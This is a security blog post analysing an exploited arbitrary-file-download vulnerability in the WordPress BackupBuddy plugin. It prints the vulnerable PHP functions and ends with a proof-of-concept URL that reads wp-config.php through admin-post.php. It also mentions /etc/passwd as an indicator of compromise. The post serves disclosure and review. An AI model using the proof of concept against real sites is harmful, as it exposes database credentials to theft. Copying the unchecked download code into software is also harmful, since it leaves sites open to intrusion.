8 Sep 2022

Here Is the Incredibly Insecure Exploited Code in a Plugin From the Developer of iThemes Security

Two days ago the developer of the iThemes Security plugin, which is one of the most popular WordPress security plugins, disclosed that another of their plugins, BackupBuddy, had a zero-day vulnerability. A zero-day vulnerability is one that is being exploited before the developer is aware of it. That seems like a big story, but when the vulnerability was covered by the WP Tavern, there was no mention of iThemes Security or question raised about what that says about the state of WordPress security plugins.

iThemes’ post also makes this strange claim:

Responsible disclosure and reporting of vulnerabilities is an integral part of keeping the WordPress community safe. Please share this post with your friends to help get the word out and make WordPress safer for everyone!

Considering that this vulnerability was found because it was being exploited, responsible disclosure and reporting didn’t happen here. What would have made WordPress safer here is if iThemes had properly secured their plugin and or had hired someone to do a security review of the plugin, since as we detail below this involved incredibly insecure code, which could have been caught within the two years before it was exploited.

Getting back to WP Tavern’s post, it included this curious quote:

“Due to this vulnerability being actively exploited, and its ease of exploitation, we are sharing minimal details about this vulnerability,” Wordfence threat analyst Chloe Chamberland said.

If the vulnerability is already being exploited, hackers clearly already understand how to exploit this.

Making that quote all the odder is that in the post on Wordfence’s blog where that quote originated from, right before that line, they provided hackers with key details on how this would be exploited:

More specifically the plugin registers an admin_init hook for the function intended to download local back-up files and the function itself did not have any capability checks nor any nonce validation. This means that the function could be triggered via any administrative page, including those that can be called without authentication (admin-post.php), making it possible for unauthenticated users to call the function. The back-up path is not validated and therefore an arbitrary file could be supplied and subsequently downloaded.

While someone familiar with how to exploit vulnerabilities in WordPress plugins would likely have not had a hard time exploiting based on the details provided in iThemes’ post, Wordfence’s information would make it much easier for hackers not familiar with that.

The Vulnerable Code

With any vulnerability in a WordPress plugin that has exploit attempts, there are various things we want to look at, so that we can make sure that we are providing our customers with the best services possible. One thing we want to do is to make sure that we would have caught the vulnerability if we had done a security review of the plugin. To do that, we have to figure out what the vulnerable code was.

Here, it isn’t hard to track down the vulnerable code. iThemes post suggests it involves usage of “local-destination-id”:

To detect if your site was attacked, look for the following indicators of compromise. Search your server’s access logs for any text that contains local-destination-id and /etc/passwd or wp-config.php with an HTTP 2xx Response.

Looking at the files from a vulnerable version of the plugin, 8.7.4.1, there were only two usages of that and only one that matches the rest of what is described there. That occurs in the function backupbuddy_local_download(), which was located in the file /init_admin.php:

746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
function backupbuddy_local_download() {
	if ( ! pb_backupbuddy::_GET( 'local-download' ) ) {
		return;
	}
 
	$file        = pb_backupbuddy::_GET( 'local-download' );
	$destination = pb_backupbuddy::_GET( 'local-destination-id' );
 
	if ( ! class_exists( 'pb_backupbuddy_destination_local' ) ) {
		require_once pb_backupbuddy::plugin_path() . '/destinations/local/init.php';
	}
 
	$settings = pb_backupbuddy::$options['remote_destinations'][ $destination ];
	pb_backupbuddy_destination_local::force_download( $settings, $file );
}

That function takes the values of user input, in the form of the GET inputs “local-download” and “local-destination-id”, combines it with other information, and then passes them to a function named force_download(). The “local-destination-id” value is used to get a saved value from the plugin’s settings.

There are no security checks done in the function, so there is no restriction on who can access it.

Directly below the function it registered to run during admin_init:

761
add_action( 'admin_init', 'backupbuddy_local_download' );

As Wordfence mentioned, that allows anyone to access it.

The function force_download(), which was located in the file /destinations/local/init.php, will serve up a download of a file specified by the user input passed to it:

446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
public static function force_download( $settings = false, $file = '' ) {
	$settings  = self::_formatSettings( $settings );
	$file_path = $settings['path'] . $file;
 
	if ( ! file_exists( $file_path ) ) {
		$err = __( 'Missing Local File for download.', 'it-l10n-backupbuddy' );
		pb_backupbuddy::status( 'error', $err );
		echo $err;
		exit();
	}
 
	flush();
 
	pb_backupbuddy::set_greedy_script_limits();
 
	$size = filesize( $file_path );
 
	flush();
 
	header( 'Content-Description: File Transfer' );
	header( 'Content-Type: application/octet-stream' );
	header( 'Content-Disposition: attachment; filename=' . basename( $file_path ) );
	header( 'Content-Transfer-Encoding: binary' );
	header( 'Cache-Control: must-revalidate' );
	header( 'Accept-Ranges: bytes' );
	header( 'Expires: 0' );
	header( 'Pragma: public' );
	header( 'Content-Length: ' . $size );
 
	readfile( $file_path );
 
	exit();
}

Again, there are no security checks done, so anyone can access this.

According to iThemes’ information, this code has been in the published plugin since July 6, 2020.

It’s hard to overstate how insecure that code is. It is also difficult to understand how it would have been to miss that if a security review of the plugin was done. With our reviews, we specifically check over functions access through admin_init because of previous vulnerabilities similar to this one:

Security issues with functions accessible through the admin_init action

The Missing Detail

There is an important detail missing from the coverage, the exploitability of the vulnerability is limited because part of what specifies what file is downloaded comes from a plugin setting. The directory the file to be downloaded is partially specified by the “Local file path” of a local destination configured in the plugin. If that isn’t configured, then the file would be accessed from the root of the server. If it is set, then directory traversal could be used to access other directories. If the hacker knew the full path of the website, they could also access other files by included in the user input.

At least some of the exploit attempts are claimed to have used directory traversal.

Also, trying to exploit it would require passing different values depending on where on the website the local destination is set to, so there could be many exploit attempts made even if the exploitation wouldn’t succeed.

Proof of Concept

The following proof of concept will show the contents of the WordPress configuration file, when a local destination with the “Local file path” set to the root directory exists.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-post.php?local-download=wp-config.php&local-destination-id=0

Leave a Reply

Your email address will not be published.